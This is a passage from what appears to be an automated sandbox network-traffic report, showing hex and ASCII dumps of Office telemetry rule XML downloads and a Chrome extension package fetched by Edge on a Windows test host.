0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:25 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:26 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:25 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: c134a622-501e-008c-78af-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151625Z-16547b76f7frbg6bhC1DFWr5400000000n7g00000000dc3n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:26 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:26 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:26 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: a427850a-601e-0097-52af-36f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151626Z-1866b5c5fbbfhwqqhC1DFW513800000000xg000000008wfu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49777	172.217.18.1	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:26 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:26 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY1ZS-KdJbewzmKaMl1icuF4Cqmh_bvTngMPFpZZai2jng02ujGGTDg_L-6V9R3W_p2_NAxBAjGqjg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Thu, 14 Nov 2024 17:26:51 GMT Expires: Fri, 14 Nov 2025 17:26:51 GMT Cache-Control: public, max-age=31536000 Age: 78575 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-15 15:16:26 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-15 15:16:26 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-15 15:16:26 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-15 15:16:26 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-15 15:16:26 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-15 15:16:26 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-15 15:16:26 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-15 15:16:26 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-15 15:16:26 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-15 15:16:26 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:26 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: bf72ccbe-301e-001f-25a0-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151626Z-164f84587bfs5tz9hC1DFW9a3w00000001m0000000006x4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:26 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3b9707c2-c01e-0082-5508-36af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151626Z-164f84587bfj5xwnhC1DFW3a28000000010g000000005ewh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:26 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b90175c0-c01e-008e-4b8d-367381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151626Z-164f84587bfj5xwnhC1DFW3a280000000100000000007hzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49786	13.107.246.45	443

